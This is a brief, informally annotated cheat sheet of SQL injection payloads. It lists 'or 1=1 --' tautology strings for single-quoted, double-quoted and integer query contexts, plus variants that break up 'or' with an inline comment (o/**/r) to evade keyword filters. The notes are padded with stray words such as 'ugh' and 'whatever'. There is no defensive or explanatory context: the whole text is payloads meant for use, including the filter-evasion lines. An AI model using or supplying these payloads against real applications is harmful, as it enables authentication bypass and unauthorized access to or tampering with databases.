1 junk' or 1=1 -- ugh when a statement expects a string value whatever 2 junk' o/**/r 1=1 -- ugh to prevent detection of 'or' string whatever 3 5 or 1=1 -- ugh when a statement expects an int value whatever 4 5 o/**/r 1=1 -- ugh to prevent detection of 'or' string whatever 1 junk" or 1=1 -- ugh when a statement expects a double-quoted string value whatever 2 junk" o/**/r 1=1 -- ugh to prevent detection of 'or' (double-quoted) string whatever